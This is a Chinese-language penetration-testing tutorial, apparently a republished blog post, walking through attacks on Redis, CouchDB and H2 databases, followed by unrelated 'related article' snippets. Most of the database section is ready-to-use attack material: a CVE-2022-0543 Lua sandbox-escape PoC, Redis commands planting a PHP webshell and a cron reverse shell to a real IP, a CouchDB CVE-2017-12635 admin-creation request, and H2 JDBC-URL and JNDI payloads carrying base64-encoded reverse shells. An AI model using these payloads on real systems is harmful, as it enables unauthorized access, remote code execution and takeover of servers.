数据库安全-redisCouchdb

server/2024/12/25 22:44:26/

1.redis未授权访问

默认端口:6379

1.1 Redis沙盒逃逸漏洞RCE-CVE-2022-0543

介绍:Redis 是一套开源的使用 ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。Redis 如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

影响版本:仅为运行在 Debian、Ubuntu 或其他基于 Debian 的 Linux 发行版系统上的 以下Redis 服务。

 2.2 <= redis < 5.0.13

 2.2 <= redis < 6.0.15

 2.2 <= redis < 6.2.5

Poc:执行id 和pwd命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

1.2 redis 未授权访问(CNVD-2019-21763)

介绍:Redis是一个开源的使用ANSIC语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的AP!。由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.s0 文件,从而实现远程代码执行。

https://github.com/vulhub/redis-rogue-getshell
python redis-master.py-r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

1.3 未授权访问CNVD-2015-07557

写 webshell 需得到 web 路径

利用条件:web 目录权限可读写

config set dir /tmp     #设置WEB 写入目录

config set dbfilename 1.php     #设置写入文件名

set test "<?php phpinfo();?>"     #设置文件代码

bgsave     #保存执行
save    #保存执行

注意:部分没目录权限读写权限


写定时任务反弹 shell

config set dir /var/spool/cron

set yy "\n\n\n***** bash -i >& /dev/tcp/47.94.236.117/55550>&1\n\n\n"

config set dbfilename x

save

利用条件:安全模式protected-mode处于关闭状态

注意:centos会忽略乱码去执行格式正确的任务计划而 ubuntu并不会忽略这些乱码,所以导致命令执行失败

1.4 redis使用工具

https://github.com/n0b0dyCN/redis-rogue-server

python redis-rogue-server.py--rhost 目标IP --rport 目标端囗--lhost IP

2.数据库Couchdb

默认端口:5984

2.1 数据库Couchdb命令执行

(1)下载 exp.py

https://qithub.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
(2)修改目标和反弹地址


(3)Python执行脚本,攻击机开启监听

2.2 Couchdb 垂直权限绕过(CVE-2017-12635)

介绍:Couchclo垂直权限绕过(CVE-2017-12635Apache CouchDB 是一个开源数据库,专注于易用性和成为"完全拥抱 web 的数据库"它是一个使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP作为 API的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,CreditSuisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

(1)创建用户

PUT /_users/org.couchdb.user:用户名 HTTP/1.1
Host: 攻击IP:44389
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
  "type": "user",
  "name": "用户名 ",
  "roles": ["_admin"],
  "roles": [],
  "password": "密码"
}

(2)登录验证

Get:/_utils/
用户名 密码登录成功

3 数据库应用-H2database--未授权访问&CVE漏洞

洞默认端口:20051
JavaSQ数据库H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。

3.1 未授权进入

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
 

rce执行反弹

H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

H2 database的管理页面,访问http://主机:端口/h2-console

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

vim fuckh2db.sql  攻击机创建一个文件fuckh2db.sql

这个sql文件内容需要自己修改

反弹shell命令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1 (这个IP写你shell要反弹到哪台主机上的那个主机的IP)

CREATE TABLE test (

     id INT NOT NULL );

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,把反弹shell的命令base64编码过后放在这里}|{base64,-d}|{bash,-i}");';

在攻击机上监听端口 nc -lvvp xxxx (这个端口要看你刚才反弹shell时对应的端口)

填入Payload使其加载远程SQL

下面这条命令的后面需要修改一下你自己攻击机的IP和端口

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://192.168.91.129:89/h2database.sql';\

然后把命令写入到 JDBC URL中点击连接即可

返回监听的主机上 看到拿到了反弹过来的shell,命令执行成功

3.2H2database jndi注入

利用这个管理页面,我们可以进行 JNDI 注入攻击,进而在目标环境下执行任意命令。

工具地址:JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 攻击者IP

//反弹shell命令就行base64编码
/bin/sh -i >& /dev/tcp/192.168.100.1/6666 0>&1

编码后:  bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

攻击端监听  nc -lvvp 6666

将生成出来的所提供的服务,输入到界面当中,进行连接

成功反弹shell


http://www.ppmy.cn/server/153159.html

相关文章

多摩川编码器协议

多摩川编码器是一种常用的绝对值编码器&#xff0c;其协议基于485硬件接口的标准NRZ协议&#xff0c;通讯波特率为固定的2.5Mbps。以下是多摩川编码器协议的详细说明&#xff1a; 硬件接口 多摩川编码器使用RS485接口进行通信&#xff0c;接口定义如下&#xff1a; 5V供电&…

Escalate_Linux靶机

Escalate_Linux靶机 前言&#xff1a;集合了多种liunx提权方法的靶场&#xff0c;通过该靶场可以简单的了解liunx提权方法 1&#xff0c;扫描一下端口 80/tcp open http 111/tcp open rpc 2049/udp nfs要知道对方的共享才能挂载 139/445 Samba SMB是一个协议名&#xff0c…

java Redis 操作工具类封装(备忘)

在 Java 中&#xff0c;封装 Redis 的常见操作是提升开发效率和代码可维护性的好方法。使用 Redis 可以帮助你的应用在缓存、消息队列、会话存储等方面显著提高性能。以下是一个基于 Jedis 客户端的 Redis 操作工具类封装示例。 1. 添加 Redis 依赖 首先&#xff0c;确保在 M…

thinkphp6使用MongoDB多个数据,聚合查询的坑

我使用的是thinkphp6,mongodb4.0实际业务查询 $list Db::connect(tstd_mongo)->table("$table_time.Item")->where($where)->order("Cause","asc")->field(_id,DBID,Data,GSID,MainKind,ManID,DISTINCT(Serial) Serial,SubKind,Tim…

115.【C语言】数据结构之排序(希尔排序)

目录 1.希尔排序(又称缩小增量排序)(插入排序的优化版本) 过程1:预排序 过程2:插入排序 2.代码 预排序代码 1.一次排一组(时间复杂度比第二种写法高) 运行结果 其他写法 2.一次排多组(多组并排) 运行结果 希尔排序代码 1.当预排序一次排一组时 运行结果 2.当预排…

mysql 获取某个表大小

有一个业务逻辑是判断日志表大小&#xff0c;如果达到1g,则需要报警提示 SELECT table_name as tableName, data_length AS size FROM information_schema.TABLES WHERE table_schema test AND table_name s_log; 其中test是库名&#xff0c;s_log是要查询的表名 经过测试…

用二进制方式向文件读写一组数据

【例10.4】从键盘输入10个学生的有关数据&#xff0c;然后把它们转存到磁盘文件上去。 #include<stdio.h> struct Student{char name[20];int number;int age; }; int main(){int i;struct Student stu;FILE *fp;fp fopen("1.txt","wb");if(fp N…

Flutter组件————FloatingActionButton

FloatingActionButton 是Flutter中的一个组件&#xff0c;通常用于显示一个圆形的按钮&#xff0c;它悬浮在内容之上&#xff0c;旨在吸引用户的注意力&#xff0c;并代表屏幕上的主要动作。这种按钮是Material Design的一部分&#xff0c;通常放置在页面的右下角&#xff0c;但…